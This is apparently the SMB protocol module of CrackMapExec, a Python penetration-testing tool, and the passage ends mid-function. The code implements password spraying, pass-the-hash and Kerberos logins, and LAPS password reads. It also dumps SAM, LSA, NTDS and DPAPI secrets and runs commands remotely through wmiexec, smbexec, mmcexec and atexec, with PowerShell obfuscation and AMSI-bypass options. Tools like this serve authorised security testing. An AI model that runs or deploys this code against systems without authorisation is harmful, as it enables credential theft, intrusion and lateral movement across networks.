1821 lines
77 KiB
Python
Executable File
1821 lines
77 KiB
Python
Executable File
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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import ntpath
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import hashlib
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import binascii
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from io import StringIO
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from impacket.smbconnection import SMBConnection, SessionError
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from impacket.smb import SMB_DIALECT
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from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
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from impacket.nmb import NetBIOSError, NetBIOSTimeout
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from impacket.dcerpc.v5 import transport, lsat, lsad, scmr
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from impacket.dcerpc.v5.rpcrt import DCERPCException
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from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport
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from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
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from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
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from impacket.dcerpc.v5.dcom.wmi import WBEM_FLAG_FORWARD_ONLY
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from impacket.dcerpc.v5.samr import SID_NAME_USE
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from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
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from impacket.krb5.kerberosv5 import SessionKeyDecryptionError
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from impacket.krb5.types import KerberosException
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from cme.console import cme_console
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from cme.connection import *
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from cme.logger import CMEAdapter
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from cme.protocols.smb.firefox import FirefoxTriage
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from cme.servers.smb import CMESMBServer
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from cme.protocols.smb.wmiexec import WMIEXEC
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from cme.protocols.smb.atexec import TSCH_EXEC
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from cme.protocols.smb.smbexec import SMBEXEC
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from cme.protocols.smb.mmcexec import MMCEXEC
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from cme.protocols.smb.smbspider import SMBSpider
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from cme.protocols.smb.passpol import PassPolDump
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from cme.protocols.smb.samruser import UserSamrDump
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from cme.protocols.smb.samrfunc import SamrFunc
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from cme.protocols.ldap.smbldap import LDAPConnect
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from cme.helpers.logger import highlight
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from cme.helpers.misc import *
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from cme.helpers.bloodhound import add_user_bh
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from cme.helpers.powershell import create_ps_command
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from dploot.triage.vaults import VaultsTriage
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from dploot.triage.browser import BrowserTriage
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from dploot.triage.credentials import CredentialsTriage
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from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
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from dploot.triage.backupkey import BackupkeyTriage
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from dploot.lib.target import Target
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from dploot.lib.smb import DPLootSMBConnection
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from pywerview.cli.helpers import *
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from pywerview.requester import RPCRequester
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from time import time
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from datetime import datetime
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from functools import wraps
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from traceback import format_exc
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smb_share_name = gen_random_string(5).upper()
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smb_server = None
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smb_error_status = [
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"STATUS_ACCOUNT_DISABLED",
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"STATUS_ACCOUNT_EXPIRED",
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"STATUS_ACCOUNT_RESTRICTION",
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"STATUS_INVALID_LOGON_HOURS",
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"STATUS_INVALID_WORKSTATION",
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"STATUS_LOGON_TYPE_NOT_GRANTED",
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"STATUS_PASSWORD_EXPIRED",
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"STATUS_PASSWORD_MUST_CHANGE",
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"STATUS_ACCESS_DENIED",
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"STATUS_NO_SUCH_FILE",
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"KDC_ERR_CLIENT_REVOKED",
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"KDC_ERR_PREAUTH_FAILED"
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]
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def get_error_string(exception):
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if hasattr(exception, 'getErrorString'):
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try:
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es = exception.getErrorString()
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except KeyError:
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return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
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if type(es) is tuple:
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return es[0]
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else:
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return es
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else:
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return str(exception)
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def requires_smb_server(func):
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def _decorator(self, *args, **kwargs):
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global smb_server
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global smb_share_name
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get_output = False
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payload = None
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methods = []
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try:
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payload = args[0]
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except IndexError:
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pass
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try:
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get_output = args[1]
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except IndexError:
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pass
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try:
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methods = args[2]
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except IndexError:
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pass
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if 'payload' in kwargs:
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payload = kwargs['payload']
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if 'get_output' in kwargs:
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get_output = kwargs['get_output']
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if 'methods' in kwargs:
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methods = kwargs['methods']
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if not payload and self.args.execute:
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if not self.args.no_output: get_output = True
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if get_output or (methods and ('smbexec' in methods)):
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if not smb_server:
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logging.debug('Starting SMB server')
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smb_server = CMESMBServer(
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self.logger,
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smb_share_name,
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listen_port=self.args.smb_server_port,
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verbose=self.args.verbose
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)
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smb_server.start()
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output = func(self, *args, **kwargs)
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if smb_server is not None:
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smb_server.shutdown()
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smb_server = None
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return output
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return wraps(func)(_decorator)
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class smb(connection):
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def __init__(self, args, db, host):
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self.domain = None
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self.server_os = None
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self.os_arch = 0
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self.hash = None
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self.lmhash = ''
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self.nthash = ''
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self.remote_ops = None
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self.bootkey = None
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self.output_filename = None
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self.smbv1 = None
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self.signing = False
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self.smb_share_name = smb_share_name
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self.pvkbytes = None
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self.no_da = None
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connection.__init__(self, args, db, host)
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@staticmethod
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def proto_args(parser, std_parser, module_parser):
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smb_parser = parser.add_parser('smb', help="own stuff using SMB", parents=[std_parser, module_parser])
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smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[],
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help='NTLM hash(es) or file(s) containing NTLM hashes')
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smb_parser.add_argument("--no-bruteforce", action='store_true',
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help='No spray when using file for username and password (user1 => password1, user2 => password2')
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dgroup = smb_parser.add_mutually_exclusive_group()
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dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain to authenticate to")
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dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
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smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
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smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
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smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
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smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE',
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help="outputs all hosts that don't require SMB signing to the specified file")
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smb_parser.add_argument("--continue-on-success", action='store_true',
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help="continues authentication attempts even after successes")
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smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
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smb_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification",
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nargs='?', const='administrator')
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cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
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cegroup = cgroup.add_mutually_exclusive_group()
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cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
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cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
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cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi',
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help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
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cegroup.add_argument("--dpapi", choices={'password', 'cookies'}, nargs='?', const='password',
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help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies"\n(default: password)')
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# cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
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# cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
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ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
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ngroup.add_argument("--mkfile", action='store',
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help='DPAPI option. File with masterkeys in form of {GUID}:SHA1')
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ngroup.add_argument("--pvk", action='store', help='DPAPI option. File with domain backupkey')
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ngroup.add_argument("--enabled", action='store_true', help='Only dump enabled targets from DC')
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ngroup.add_argument("--user", dest='userntds', type=str, help='Dump selected user from DC')
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egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
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egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
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egroup.add_argument("--filter-shares", nargs='+',
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help="Filter share by access, option 'read' 'write' or 'read,write'")
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egroup.add_argument("--sessions", action='store_true', help='enumerate active sessions')
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egroup.add_argument('--disks', action='store_true', help='enumerate disks')
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egroup.add_argument("--loggedon-users-filter", action='store',
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help='only search for specific user, works with regex')
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egroup.add_argument("--loggedon-users", action='store_true', help='enumerate logged on users')
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egroup.add_argument('--users', nargs='?', const='', metavar='USER',
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help='enumerate domain users, if a user is specified than only its information is queried.')
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egroup.add_argument("--groups", nargs='?', const='', metavar='GROUP',
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help='enumerate domain groups, if a group is specified than its members are enumerated')
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egroup.add_argument('--computers', nargs='?', const='', metavar='COMPUTER', help='enumerate computer users')
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egroup.add_argument("--local-groups", nargs='?', const='', metavar='GROUP',
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help='enumerate local groups, if a group is specified then its members are enumerated')
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egroup.add_argument("--pass-pol", action='store_true', help='dump password policy')
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egroup.add_argument("--rid-brute", nargs='?', type=int, const=4000, metavar='MAX_RID',
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help='enumerate users by bruteforcing RID\'s (default: 4000)')
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egroup.add_argument("--wmi", metavar='QUERY', type=str, help='issues the specified WMI query')
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egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='root\\cimv2',
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help='WMI Namespace (default: root\\cimv2)')
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sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
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sgroup.add_argument("--spider", metavar='SHARE', type=str, help='share to spider')
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sgroup.add_argument("--spider-folder", metavar='FOLDER', default='.', type=str,
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help='folder to spider (default: root share directory)')
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sgroup.add_argument("--content", action='store_true', help='enable file content searching')
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sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='',
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help='directories to exclude from spidering')
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segroup = sgroup.add_mutually_exclusive_group()
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segroup.add_argument("--pattern", nargs='+',
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help='pattern(s) to search for in folders, filenames and file content')
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segroup.add_argument("--regex", nargs='+', help='regex(s) to search for in folders, filenames and file content')
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sgroup.add_argument("--depth", type=int, default=None,
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help='max spider recursion depth (default: infinity & beyond)')
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sgroup.add_argument("--only-files", action='store_true', help='only spider files')
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tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
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tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt')
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tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt')
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tgroup.add_argument("--append-host", action='store_true', help='append the host to the get-file filename')
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cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
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cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None,
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help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
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cgroup.add_argument('--codec', default='utf-8',
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help='Set encoding used (codec) from the target\'s output (default '
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'"utf-8"). If errors are detected, run chcp.com at the target, '
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'map the result with '
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'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute '
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'again with --codec and the corresponding codec')
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cgroup.add_argument('--force-ps32', action='store_true',
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help='force the PowerShell command to run in a 32-bit process')
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cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
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cegroup = cgroup.add_mutually_exclusive_group()
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cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
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cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute',
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help='execute the specified PowerShell command')
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psgroup = smb_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation")
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psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts')
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psgroup.add_argument('--amsi-bypass', nargs=1, metavar="FILE", help='File with a custom AMSI bypass')
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psgroup.add_argument('--clear-obfscripts', action='store_true',
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help='Clear all cached obfuscated PowerShell scripts')
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return parser
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def proto_logger(self):
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self.logger = CMEAdapter(
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extra={
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'protocol': 'SMB',
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'host': self.host,
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'port': self.args.port,
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'hostname': self.hostname
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}
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)
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def get_os_arch(self):
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try:
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string_binding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
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transport = DCERPCTransportFactory(string_binding)
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transport.set_connect_timeout(5)
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dce = transport.get_dce_rpc()
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if self.kerberos:
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dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
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dce.connect()
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try:
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dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
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except DCERPCException as e:
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if str(e).find('syntaxes_not_supported') >= 0:
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dce.disconnect()
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return 32
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else:
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dce.disconnect()
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return 64
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except Exception as e:
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logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
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return 0
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def enum_host_info(self):
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self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
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no_ntlm = False
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try:
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self.conn.login('', '')
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except BrokenPipeError as e:
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self.logger.error(f"Broken Pipe Error while attempting to login")
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except Exception as e:
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if "STATUS_NOT_SUPPORTED" in str(e):
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# no ntlm supported
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no_ntlm = True
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pass
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self.domain = self.conn.getServerDNSDomainName() if not no_ntlm else self.args.domain
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self.hostname = self.conn.getServerName() if not no_ntlm else self.host
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self.server_os = self.conn.getServerOS()
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try:
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self.signing = self.conn.isSigningRequired() \
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if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
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except Exception as e:
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logging.debug(e)
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pass
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self.os_arch = self.get_os_arch()
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self.output_filename = os.path.expanduser(
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'~/.cme/logs/{}_{}_{}'.format(
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self.hostname,
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self.host,
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datetime.now().strftime("%Y-%m-%d_%H%M%S")
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)
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)
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self.output_filename = self.output_filename.replace(":", "-")
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if not self.domain:
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self.domain = self.hostname
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self.db.add_host(self.host, self.hostname, self.domain, self.server_os, self.smbv1, self.signing)
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try:
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'''
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DC's seem to want us to logoff first, windows workstations sometimes reset the connection
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(go home Windows, you're drunk)
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'''
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self.conn.logoff()
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except Exception as e:
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logging.debug(f"Error logging off system: {e}")
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pass
|
|
|
|
if self.args.domain:
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self.domain = self.args.domain
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if self.args.local_auth:
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self.domain = self.hostname
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|
|
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def laps_search(self, username, password, ntlm_hash, domain):
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self.logger.extra['protocol'] = "LDAP"
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self.logger.extra['port'] = "389"
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ldapco = LDAPConnect(self.domain, "389", self.domain)
|
|
|
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if self.kerberos:
|
|
if self.kdcHost is None:
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self.logger.error('Provide --kdcHost parameter')
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return False
|
|
connection = ldapco.kerberos_login(
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domain,
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username[0] if username else '',
|
|
password[0] if password else '',
|
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ntlm_hash[0] if ntlm_hash else '',
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self.kdcHost,
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self.aesKey
|
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)
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else:
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connection = ldapco.plaintext_login(
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domain,
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username[0] if username else '',
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password[0] if password else '',
|
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ntlm_hash[0] if ntlm_hash else ''
|
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)
|
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if not connection:
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logging.debug('LAPS connection failed with account {}'.format(username))
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return False
|
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|
|
search_filter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name=' + self.hostname + '))'
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attributes = ['ms-MCS-AdmPwd', 'samAccountname']
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result = connection.search(
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searchFilter=search_filter,
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attributes=attributes,
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sizeLimit=0
|
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)
|
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|
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msMCSAdmPwd = ''
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sAMAccountName = ''
|
|
for item in result:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
for host in item['attributes']:
|
|
if str(host['type']) == "sAMAccountName":
|
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sAMAccountName = str(host['vals'][0])
|
|
else:
|
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msMCSAdmPwd = str(host['vals'][0])
|
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logging.debug("Host: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname))
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|
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self.username = self.args.laps
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self.password = msMCSAdmPwd
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|
|
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if msMCSAdmPwd == '':
|
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self.logger.error('msMCSAdmPwd is empty or account cannot read LAPS property for {}'.format(self.hostname))
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return False
|
|
if ntlm_hash:
|
|
hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest()
|
|
self.hash = binascii.hexlify(hash_ntlm).decode()
|
|
|
|
self.domain = self.hostname
|
|
self.logger.extra['protocol'] = "SMB"
|
|
self.logger.extra['port'] = "445"
|
|
return True
|
|
|
|
def print_host_info(self):
|
|
self.logger.info(
|
|
u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(
|
|
self.server_os,
|
|
' x{}'.format(self.os_arch) if self.os_arch else '',
|
|
self.hostname,
|
|
self.domain,
|
|
self.signing,
|
|
self.smbv1
|
|
)
|
|
)
|
|
if self.args.laps:
|
|
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
|
|
return True
|
|
|
|
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
|
|
logging.getLogger("impacket").disabled = True
|
|
# Re-connect since we logged off
|
|
fqdn_host = self.hostname + "." + self.domain
|
|
self.create_conn_obj(fqdn_host)
|
|
lmhash = ''
|
|
nthash = ''
|
|
|
|
try:
|
|
if not self.args.laps:
|
|
self.password = password
|
|
self.username = username
|
|
# This checks to see if we didn't provide the LM Hash
|
|
if ntlm_hash.find(':') != -1:
|
|
lmhash, nthash = ntlm_hash.split(':')
|
|
self.hash = nthash
|
|
else:
|
|
nthash = ntlm_hash
|
|
self.hash = ntlm_hash
|
|
if lmhash: self.lmhash = lmhash
|
|
if nthash: self.nthash = nthash
|
|
|
|
if not all('' == s for s in [self.nthash, password, aesKey]):
|
|
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
|
|
else:
|
|
kerb_pass = ''
|
|
|
|
self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache)
|
|
self.check_if_admin()
|
|
|
|
if username == '':
|
|
self.username = self.conn.getCredentials()[0]
|
|
else:
|
|
self.username = username
|
|
|
|
out = u'{}\\{}{} {}'.format(
|
|
self.domain,
|
|
self.username,
|
|
# Show what was used between cleartext, nthash, aesKey and ccache
|
|
" from ccache" if useCache
|
|
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
|
)
|
|
self.logger.info(out)
|
|
if not self.args.local_auth:
|
|
add_user_bh(self.username, domain, self.logger, self.config)
|
|
if not self.args.continue_on_success:
|
|
return True
|
|
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
|
|
elif self.signing:
|
|
try:
|
|
self.conn.logoff()
|
|
except:
|
|
pass
|
|
self.create_conn_obj()
|
|
except SessionKeyDecryptionError:
|
|
# for PRE-AUTH account
|
|
self.logger.error(u'{}\\{}{} {}'.format(
|
|
domain,
|
|
self.username,
|
|
" account vulnerable to asreproast attack",
|
|
""),
|
|
color='yellow'
|
|
)
|
|
return False
|
|
except (FileNotFoundError, KerberosException) as e:
|
|
self.logger.error('CCache Error: {}'.format(e))
|
|
return False
|
|
except OSError as e:
|
|
self.logger.error(u'{}\\{}{} {} {}'.format(
|
|
domain,
|
|
self.username,
|
|
# Show what was used between cleartext, nthash, aesKey and ccache
|
|
" from ccache" if useCache
|
|
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
|
str(e),
|
|
'',
|
|
color='red')
|
|
)
|
|
except (SessionError, Exception) as e:
|
|
error, desc = e.getErrorString()
|
|
self.logger.error(u'{}\\{}{} {} {}'.format(
|
|
domain,
|
|
self.username,
|
|
# Show what was used between cleartext, nthash, aesKey and ccache
|
|
" from ccache" if useCache
|
|
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
|
error,
|
|
'({})'.format(desc) if self.args.verbose else ''
|
|
),
|
|
color='magenta' if error in smb_error_status else 'red'
|
|
)
|
|
if error not in smb_error_status:
|
|
self.inc_failed_login(username)
|
|
return False
|
|
return False
|
|
|
|
def plaintext_login(self, domain, username, password):
|
|
# Re-connect since we logged off
|
|
self.create_conn_obj()
|
|
try:
|
|
if not self.args.laps:
|
|
self.password = password
|
|
self.username = username
|
|
self.domain = domain
|
|
try:
|
|
self.conn.login(self.username, self.password, domain)
|
|
except BrokenPipeError as e:
|
|
self.logger.error(f"Broken Pipe Error while attempting to login")
|
|
|
|
self.check_if_admin()
|
|
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
|
self.db.add_credential('plaintext', domain, self.username, self.password)
|
|
user_id = self.db.get_credential('plaintext', domain, self.username, self.password)
|
|
host_id = self.db.get_hosts(self.host)[0].id
|
|
|
|
self.db.add_loggedin_relation(user_id, host_id)
|
|
|
|
if self.admin_privs:
|
|
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
|
|
self.db.add_admin_user('plaintext', domain, self.username, self.password, self.host, user_id=user_id)
|
|
|
|
out = u'{}\\{}:{} {}'.format(
|
|
domain,
|
|
self.username,
|
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
|
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
|
)
|
|
|
|
self.logger.info(out)
|
|
if not self.args.local_auth:
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if not self.args.continue_on_success:
|
|
return True
|
|
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
|
|
elif self.signing:
|
|
try:
|
|
self.conn.logoff()
|
|
except:
|
|
pass
|
|
self.create_conn_obj()
|
|
except SessionError as e:
|
|
error, desc = e.getErrorString()
|
|
self.logger.error(u'{}\\{}:{} {} {}'.format(
|
|
domain,
|
|
self.username,
|
|
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
|
|
error,
|
|
'({})'.format(desc) if self.args.verbose else ''),
|
|
color='magenta' if error in smb_error_status else 'red'
|
|
)
|
|
if error not in smb_error_status:
|
|
self.inc_failed_login(username)
|
|
return False
|
|
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
|
|
self.logger.error('Connection Error: {}'.format(e))
|
|
return False
|
|
|
|
def hash_login(self, domain, username, ntlm_hash):
|
|
# Re-connect since we logged off
|
|
self.create_conn_obj()
|
|
lmhash = ''
|
|
nthash = ''
|
|
try:
|
|
|
|
if not self.args.laps:
|
|
self.username = username
|
|
# This checks to see if we didn't provide the LM Hash
|
|
if ntlm_hash.find(':') != -1:
|
|
lmhash, nthash = ntlm_hash.split(':')
|
|
self.hash = nthash
|
|
else:
|
|
nthash = ntlm_hash
|
|
self.hash = ntlm_hash
|
|
if lmhash: self.lmhash = lmhash
|
|
if nthash: self.nthash = nthash
|
|
else:
|
|
nthash = self.hash
|
|
|
|
self.domain = domain
|
|
try:
|
|
self.conn.login(self.username, '', domain, lmhash, nthash)
|
|
except BrokenPipeError as e:
|
|
self.logger.error(f"Broken Pipe Error while attempting to login")
|
|
|
|
self.check_if_admin()
|
|
user_id = self.db.add_credential('hash', domain, self.username, nthash)
|
|
host_id = self.db.get_hosts(self.host)[0].id
|
|
|
|
self.db.add_loggedin_relation(user_id, host_id)
|
|
|
|
if self.admin_privs:
|
|
self.db.add_admin_user('hash', domain, self.username, nthash, self.host, user_id=user_id)
|
|
|
|
out = u'{}\\{}:{} {}'.format(
|
|
domain,
|
|
self.username,
|
|
self.hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
|
|
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
|
|
)
|
|
|
|
self.logger.info(out)
|
|
if not self.args.local_auth:
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
|
if not self.args.continue_on_success:
|
|
return True
|
|
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
|
|
if self.signing:
|
|
try:
|
|
self.conn.logoff()
|
|
except:
|
|
pass
|
|
self.create_conn_obj()
|
|
except SessionError as e:
|
|
error, desc = e.getErrorString()
|
|
self.logger.error(u'{}\\{}:{} {} {}'.format(
|
|
domain,
|
|
self.username,
|
|
self.hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
|
|
error,
|
|
'({})'.format(desc) if self.args.verbose else ''),
|
|
color='magenta' if error in smb_error_status else 'red'
|
|
)
|
|
|
|
if error not in smb_error_status:
|
|
self.inc_failed_login(self.username)
|
|
return False
|
|
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
|
|
self.logger.error('Connection Error: {}'.format(e))
|
|
return False
|
|
|
|
def create_smbv1_conn(self, kdc=''):
|
|
try:
|
|
self.conn = SMBConnection(self.host if not kdc else kdc, self.host if not kdc else kdc, None,
|
|
self.args.port, preferredDialect=SMB_DIALECT, timeout=self.args.smb_timeout)
|
|
self.smbv1 = True
|
|
except socket.error as e:
|
|
if str(e).find('Connection reset by peer') != -1:
|
|
logging.debug('SMBv1 might be disabled on {}'.format(self.host if not kdc else kdc))
|
|
return False
|
|
except (Exception, NetBIOSTimeout) as e:
|
|
logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host if not kdc else kdc, e))
|
|
return False
|
|
|
|
return True
|
|
|
|
def create_smbv3_conn(self, kdc=''):
|
|
try:
|
|
self.conn = SMBConnection(self.host if not kdc else kdc, self.host if not kdc else kdc, None,
|
|
self.args.port, timeout=self.args.smb_timeout)
|
|
self.smbv1 = False
|
|
except socket.error as e:
|
|
if str(e).find('Too many open files') != -1:
|
|
self.logger.error('SMBv3 connection error on {}: {}'.format(self.host if not kdc else kdc, e))
|
|
return False
|
|
except (Exception, NetBIOSTimeout) as e:
|
|
logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host if not kdc else kdc, e))
|
|
return False
|
|
|
|
return True
|
|
|
|
def create_conn_obj(self, kdc=''):
|
|
if self.create_smbv1_conn(kdc):
|
|
return True
|
|
elif self.create_smbv3_conn(kdc):
|
|
return True
|
|
return False
|
|
|
|
def check_if_admin(self):
|
|
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r'\svcctl', smb_connection=self.conn)
|
|
dce = rpctransport.get_dce_rpc()
|
|
try:
|
|
dce.connect()
|
|
except:
|
|
pass
|
|
else:
|
|
dce.bind(scmr.MSRPC_UUID_SCMR)
|
|
try:
|
|
# 0xF003F - SC_MANAGER_ALL_ACCESS
|
|
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
|
|
ans = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
|
|
self.admin_privs = True
|
|
except scmr.DCERPCException as e:
|
|
self.admin_privs = False
|
|
pass
|
|
return
|
|
|
|
def gen_relay_list(self):
|
|
if self.server_os.lower().find('windows') != -1 and self.signing is False:
|
|
with sem:
|
|
with open(self.args.gen_relay_list, 'a+') as relay_list:
|
|
if self.host not in relay_list.read():
|
|
relay_list.write(self.host + '\n')
|
|
|
|
@requires_admin
|
|
# @requires_smb_server
|
|
def execute(self, payload=None, get_output=False, methods=None):
|
|
if self.args.exec_method:
|
|
methods = [self.args.exec_method]
|
|
if not methods:
|
|
methods = ['wmiexec', 'smbexec', 'mmcexec', 'atexec']
|
|
|
|
if not payload and self.args.execute:
|
|
payload = self.args.execute
|
|
if not self.args.no_output: get_output = True
|
|
|
|
for method in methods:
|
|
if method == 'wmiexec':
|
|
try:
|
|
exec_method = WMIEXEC(
|
|
self.host if not self.kerberos else self.hostname + '.' + self.domain,
|
|
self.smb_share_name,
|
|
self.username,
|
|
self.password,
|
|
self.domain,
|
|
self.conn,
|
|
self.kerberos,
|
|
self.aesKey,
|
|
self.kdcHost,
|
|
self.hash,
|
|
self.args.share
|
|
)
|
|
logging.debug('Executed command via wmiexec')
|
|
break
|
|
except:
|
|
logging.debug('Error executing command via wmiexec, traceback:')
|
|
logging.debug(format_exc())
|
|
continue
|
|
elif method == 'mmcexec':
|
|
try:
|
|
exec_method = MMCEXEC(
|
|
self.host if not self.kerberos else self.hostname + '.' + self.domain,
|
|
self.smb_share_name,
|
|
self.username,
|
|
self.password,
|
|
self.domain,
|
|
self.conn,
|
|
self.hash
|
|
)
|
|
logging.debug('Executed command via mmcexec')
|
|
break
|
|
except:
|
|
logging.debug('Error executing command via mmcexec, traceback:')
|
|
logging.debug(format_exc())
|
|
continue
|
|
elif method == 'atexec':
|
|
try:
|
|
exec_method = TSCH_EXEC(
|
|
self.host if not self.kerberos else self.hostname + '.' + self.domain,
|
|
self.smb_share_name,
|
|
self.username,
|
|
self.password,
|
|
self.domain,
|
|
self.kerberos,
|
|
self.aesKey,
|
|
self.kdcHost,
|
|
self.hash
|
|
) # self.args.share)
|
|
logging.debug('Executed command via atexec')
|
|
break
|
|
except:
|
|
logging.debug('Error executing command via atexec, traceback:')
|
|
logging.debug(format_exc())
|
|
continue
|
|
elif method == 'smbexec':
|
|
try:
|
|
exec_method = SMBEXEC(
|
|
self.host if not self.kerberos else self.hostname + '.' + self.domain,
|
|
self.smb_share_name,
|
|
self.conn,
|
|
self.args.port,
|
|
self.username,
|
|
self.password,
|
|
self.domain,
|
|
self.kerberos,
|
|
self.aesKey,
|
|
self.kdcHost,
|
|
self.hash,
|
|
self.args.share
|
|
)
|
|
logging.debug('Executed command via smbexec')
|
|
break
|
|
except:
|
|
logging.debug('Error executing command via smbexec, traceback:')
|
|
logging.debug(format_exc())
|
|
continue
|
|
|
|
if hasattr(self, 'server'):
|
|
self.server.track_host(self.host)
|
|
|
|
output = exec_method.execute(payload, get_output)
|
|
|
|
try:
|
|
if not isinstance(output, str):
|
|
output = output.decode(self.args.codec)
|
|
except UnicodeDecodeError:
|
|
logging.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
|
|
output = output.decode('cp437')
|
|
|
|
output = u'{}'.format(output.strip())
|
|
|
|
if self.args.execute or self.args.ps_execute:
|
|
self.logger.info(f"Executed command {self.args.exec_method if self.args.exec_method else ''}")
|
|
buf = StringIO(output).readlines()
|
|
for line in buf:
|
|
self.logger.highlight(line.strip())
|
|
|
|
return output
|
|
|
|
@requires_admin
|
|
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False):
|
|
if not payload and self.args.ps_execute:
|
|
payload = self.args.ps_execute
|
|
if not self.args.no_output: get_output = True
|
|
|
|
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
|
|
if os.path.isfile(payload):
|
|
with open(payload) as commands:
|
|
for c in commands:
|
|
self.execute(
|
|
create_ps_command(
|
|
c,
|
|
force_ps32=force_ps32,
|
|
dont_obfs=dont_obfs,
|
|
custom_amsi=amsi_bypass
|
|
),
|
|
get_output,
|
|
methods
|
|
)
|
|
else:
|
|
self.execute(
|
|
create_ps_command(
|
|
payload,
|
|
force_ps32=force_ps32,
|
|
